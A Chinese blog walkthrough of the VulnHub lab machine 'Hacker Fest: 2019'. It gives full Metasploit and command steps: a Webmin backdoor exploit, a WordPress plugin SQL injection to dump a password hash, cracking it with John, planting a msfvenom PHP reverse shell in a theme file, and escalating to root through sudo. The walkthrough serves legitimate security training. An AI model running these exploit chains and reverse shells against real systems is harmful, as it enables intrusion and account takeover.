『VulnHub系列』Hacker Fest: 2019-Walkthrough

靶機地址
難度:初級+1
靶機描述:

The machine was part of my workshop for Hacker Fest 2019 at Prague.
Difficulty level of this VM is very “very easy”. There are two paths for exploit it.
There are no intentional rabbit holes.
Through a vulnerable “[retracted]”. Exploit is part of MSF.
Through vulnerable “[retracted]”.
Can be found by “[retracted]”.
There is a “[retracted]” injection (exploit is part of MSF).
Recovered credentials (username + hash) can be cracked by John and rockyou.txt wordlist.
Low priv shell can be gained through MSF exploit or trying the credentials against “[retracted]”.
Priv. esc. is simply done by “[retracted]”.

博客中如有任何問題,懇請批評指正,萬分感謝。個人郵箱:[email protected]

工具、知識點和漏洞

netdiscover
nmap
wpscan
john
metaspaloit
msfvenom
webmin_backdoor漏洞
wp_google_maps_sqli漏洞

0x00、信息收集

靶機IP:192.168.0.110

netdiscover -r 192.168.0.0/24

在這裏插入圖片描述
端口和服務

nmap -sS -sV -T4 -A -p- 192.168.0.110

在這裏插入圖片描述在這裏插入圖片描述

頁面、目錄枚舉

dirb http://192.168.0.110 -X .php,.txt,.zip,.html

在這裏插入圖片描述在這裏插入圖片描述
匿名登錄訪問ftp,發現一堆wordpress的源代碼,這個靶機應該是不可能進行代碼審計的,這個ftp的匿名用戶訪問應該是個煙霧彈。前面nmap掃描的時候發現有webmin,版本是1.890

0x01、第一種方式:Webmin

根據靶機描述裏面的提示,使用MSF(metasploit framework)搜索Webmin

msfconsole
search webmin

Rank爲excellent的exploit有以下四個:

  • exploit/linux/http/webmin_packageup_rce
  • exploit/unix/webapp/webmin_backdoor
  • exploit/unix/webapp/webmin_show_cgi_exec
  • exploit/unix/webapp/webmin_upload_exec

webmin_packageup_rce的設置參數必須提供Webmin的賬戶密碼,排除使用該exp。
webmin_backdoor的設置參數對於這個靶機而言我們只需要設置靶機IP和攻擊機IP,於是選擇使用它。結果第一次失敗了,原因是該靶機的Webmin使用了SSL,而exploit中對應的默認參數是沒有啓用SSL/TSL的,需要我們重新設置。

nmap掃描的結果中已經提示該靶機的Webmin啓用了SSL

在這裏插入圖片描述

msfconsole
use exploit/unix/webapp/webmin_backdoor
show options
set rhosts 192.168.0.110
set lhost 192.168.0.108
set ssl true
exploit # 或者run

在這裏插入圖片描述

0x02、第二種方式:WordPress

使用wpscan掃描網站

掃描的時候提示我沒有WPVulnDB API Token,一時之間有點懵,wpscan用了也不是一次兩次了,之前從來沒有出現過這種提示。根據提示到https://wpvulndb.com/users/sign_up註冊一個賬號。
在這裏插入圖片描述

註冊賬號的過程中需要進行人機驗證,所以你懂的……請備好Tizi

在這裏插入圖片描述

得到WPVulnDB API Token後就可以愉快的使用wpscan了,使用方式只是多了一個參數--api-token的設置

wpscan --url http://192.168.0.110 -e vp,vt,u --api-token APIKEY

需要把上面的APIKEY換成你自己api key

在這裏插入圖片描述

使用MSF搜索漏洞利用方式,找到auxiliary/admin/http/wp_google_maps_sqli

msfconsole
search wp_google_maps
use auxiliary/admin/http/wp_google_maps_sqli
show options
set rhosts 192.168.0.110
run

在這裏插入圖片描述

使用john爆破$P$BsqOdiLTcye6AS1ofreys4GzRlRvSr1,字典使用rockyou.txt

關於破解工具和字典的選擇,靶機描述裏已經給過提示了。rockyou.txtkali自帶的密碼字典,如果是初次使用,則需要先到/usr/share/wordlist目錄將rockyou.txt.gz解壓

在這裏插入圖片描述

如果你也用echo將hash值保存到文件中,需要注意的是別用雙引號。因爲echo會將$開頭的字符串當作變量去執行,而變量又沒有賦值,那麼寫入到文件後就沒有內容了。

getshell方式一:theme頁面反彈shell代碼

使用webmaster/kittykat1登錄管理後臺
在這裏插入圖片描述

進入後臺之後有點懵圈,因爲語言是捷克語,突然找不到theme在哪了……然而機智的我發現了下面的套路
在這裏插入圖片描述
在404.php頁面中寫入反彈shell的代碼

第一步,使用ifconfig命令查看kali的IP:192.168.0.110

第二步,msfvenom生成webshell代碼,並保存到主題中的php文件中

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.0.108 LPORT=1234 R

在這裏插入圖片描述

!!!注意:使用時需要去掉最開頭的兩個字符/*,不然瀏覽器訪問反彈shell的php網頁會看到/*,並且無法反彈shell. 如下圖所示:

在這裏插入圖片描述
在這裏插入圖片描述

第四步,做好msfconsole接收shell的準備

msfconsole
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.0.108
set lport 1234
run

第五步,訪問含有反彈shell代碼的php頁面http://192.168.0.110/wp-content/themes/twentyseventeen/404.php

某個theme下的php頁面的url組成一般爲http://ip地址/wp-content/主題名稱全小寫字母/php頁面。例如,我這裏的theme名稱爲Twenty Seventeen,對應到url上就是twentyseventeen

在這裏插入圖片描述

下面我先給出第二種getshell的方式,之後再給出提權的過程。

getshell方式二:使用MSF

msfconsole
grep shell search wordpress
use exploit/unix/webapp/wp_admin_shell_upload
show options
set password kittykat1
set username webmaster
set rhosts 192.168.0.110
run

在這裏插入圖片描述

0x03、提權

之前我們獲得了WordPress後臺的webmaster賬戶密碼,所以嘗試使用這個賬戶密碼登錄一下SSH,沒準系統裏面就有這麼個用戶呢?

cat /etc/passwd | grep webmaster

執行上述命令後,發現確實存在系統用戶webmaster

嘗試SSH登錄

如果你遇到下面的問題,只需要根據紅框中的提示把對應的key刪除即可,我是直接把文件中的所有內容清空了。

在這裏插入圖片描述

查看當前用戶能夠執行的sudo權限的命令,發現是ALL,立馬使用sudo su root,切換到root賬戶

sudo命令可以執行一次root權限的命令,但有兩個條件:一是需要知道當前用戶的密碼;二是/etc/sudoers文件中允許了當前用戶使用sudo命令。

在這裏插入圖片描述
或者,使用sudo bash
在這裏插入圖片描述

0x04、後記

在查找SUID權限命令的過程中發現了/usr/sbin/exim4,查了一下版本是4.89
在這裏插入圖片描述

關於exim4,在4.87-4.91版本有一個本地提權漏洞,MSF中相應的exploit,然後嘗試利用了一下,結果沒能成功,可能的原因是靶機沒有開啓25端口。
在這裏插入圖片描述
如果您有其他的方法,歡迎留言。若文中有任何錯誤,懇請批評指正。如果您覺得這篇博客寫的還不錯,也歡迎分享給身邊的人。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章